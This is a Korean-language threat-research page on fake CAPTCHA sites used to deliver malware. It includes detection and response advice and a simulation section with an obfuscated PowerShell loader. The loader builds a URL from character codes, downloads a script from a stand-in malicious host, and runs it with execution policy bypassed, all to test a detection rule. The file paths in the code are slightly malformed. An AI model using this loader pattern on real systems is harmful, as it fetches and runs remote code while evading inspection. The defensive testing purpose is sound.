SOC Prime Bias: 중간

27 1월 2026 17:11

웹의존 생활: 신뢰 인프라가 어떻게 악성코드 전달 인터페이스가 되었는가

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
웹의존 생활: 신뢰 인프라가 어떻게 악성코드 전달 인터페이스가 되었는가
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 신뢰할 수 있는 웹 검증 인터페이스를 무기로 삼아 악성 페이로드를 전달하는 대규모 ‘가짜 캡차’ 생태계를 조사합니다. 유인물 간 시각적 유사성은 신뢰할 수 있는 귀속 신호가 아니며, 동일한 프론트엔드 패턴이 서로 다른 실행 체인(PowerShell, VBScript, MSI 설치 프로그램, 서버 구동 푸시 알림 전송)의 상단에 위치할 수 있기 때문입니다. 스크린샷의 고볼륨 지각적 해싱을 통해, 분석은 생태계가 어떻게 구성되어 있는지 매핑하고 사용자 인터페이스와 기저 페이로드 워크플로 간의 분리를 강조합니다. 방어자는 외관상의 지표를 넘어 실행 논리 및 인프라의 탐지를 우선해야 합니다.

조사

Censys는 9,494개의 가짜 캡차 자산을 식별하고 시각적 유사성을 기준으로 이를 집단화하기 위해 지각적 해싱을 사용하여 약 70%의 관찰된 사이트를 대표하는 지배적인 클라우드플레어 유사 클러스터를 발견했습니다. 보다 깊은 검토를 통해 클립보드 기반 스크립트, MSI 기반 설치 프로그램, Matrix Push C2 형태의 푸시 전송을 포함한 32개의 뚜렷한 페이로드 변형을 발견했습니다. 인프라 분석 결과, 각 기술을 지원하는 별개의 백엔드 서버 풀을 발견했으며, 여기에는 95.164.53.115 및 ghost.nestdns.com과 같은 예시들이 포함되어 있습니다.

완화

탐지는 시각적 유인의 특성이나 클립보드 동작에만 의존하면 안 됩니다. 대신, 비정상적인 브라우저 알림 권한 프롬프트, PowerShell 또는 VBScript 다운로드 및 실행 패턴, 검증 테마 URL에서 시작되는 MSI 실행, 그리고 알려진 Matrix Push C2 엔드포인트와 관련된 네트워크 트래픽을 모니터링해야 합니다. 의심스러운 검증 페이지를 차단하거나 샌드박싱하고, 사용자들이 신뢰할 수 있고 예상되는 사이트에서만 브라우저 권한을 부여하도록 훈련하십시오.

대응

가짜 캡차 페이지가 발생하면 후속 PowerShell, VBScript, MSI 실행 및 알림 구독 이벤트에 대해 경고하십시오. 언급된 악성 IP 및 도메인과 같은 네트워크 지표와 엔드포인트 활동을 연관 지으십시오. 영향받은 시스템을 격리하고 휘발성 메모리를 캡처하며, 가져온 모든 페이로드에 대한 포렌식 분석을 수행하십시오.

공격 흐름

이 부분은 아직 업데이트 중입니다. 알림을 받으려면 등록하세요

알림 신청

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준 비행 전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 유발하기 위해 설계된 적 기법(TTP)의 정확한 실행을 설명합니다. 명령어 및 서사는 식별된 TTP를 직접 반영해야 하며 탐지 논리가 예상하는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 것입니다.

  • 공격 서사 및 명령:
    공격자는 다운로드 URL을 숨기면서 악성 페이로드를 가져와야 합니다. 실행 시간에 문자 코드를 사용하여 URL을 생성하고 문자열 “enc“(종종 Base64로 인코딩된 페이로드에서 보이는) 및 Net.WebClient.DownloadFile 을 사용하여 스크립트를 검색합니다. 이 기술은 ‘난독화 + Net.WebClient’라는 규칙의 초점과 일치합니다. 단계:

    1. 문자 복원을 통해 다운로드 URL 생성:
      $url = ([char]65+[char]108+[char]105+[char]99+[char]101+[char]46+[char]99+[char]111+[char]109) + "/malware.ps1"
    2. 두 번째 탐지 조건을 만족시키기 위한 “enc” 문자열을 포함하는 자리 표시 변수 생성:
      $encTag = "enc"
    3. 다운로드 호출:
      $wc = New-Object System.Net.WebClient
      $wc.DownloadFile($url, "$env:TEMPpayload.ps1")
    4. 다운로드된 페이로드 실행 (테스트를 위한 선택 사항):
      powershell -ExecutionPolicy Bypass -File "$env:TEMPpayload.ps1"

    의 존재, 단어, Net.WebClient.DownloadFile, the word enc및 사용 [char]::FromCharCode (약식 통해 [char])으로 규칙이 발동됩니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # 시뮬레이션된 PowerShell 로더 – Sigma 규칙 일치
    # -------------------------------------------------
    # 1. 문자 코드를 사용하여 다운로드 URL 복원
    $url = ([char]104+[char]116+[char]116+[char]112+[char]115+[char]58+[char]47+[char]47+[char]109+[char]97+[char]108+[char]105+[char]99+[char]105+[char]111+[char]117+[char]115+[char]46+[char]99+[char]111+[char]109+[char]47+[char]112+[char]97+[char]121+[char]108+[char]111+[char]97+[char]100+[char]46+[char]112+[char]115+[char]49)
    # 위 URL은: https://malicious.com/payload.ps1
    
    # 2. 탐지 규칙을 만족시키기 위해 "enc" 토큰 삽입
    $encTag = "enc"
    
    # 3. 다운로드 수행
    $wc = New-Object System.Net.WebClient
    $destination = "$env:TEMPpayload.ps1"
    $wc.DownloadFile($url, $destination)
    
    # 4. (선택 사항) 페이로드 실행
    # powershell -ExecutionPolicy Bypass -File $destination
  • 정리 명령어:

    # 다운로드된 페이로드 삭제
    $payloadPath = "$env:TEMPpayload.ps1"
    if (Test-Path $payloadPath) {
        Remove-Item -Force $payloadPath
    }
    
    # WebClient 객체 제거 (자동으로 가비지 컬렉션 처리)
    Write-Host "정리 완료."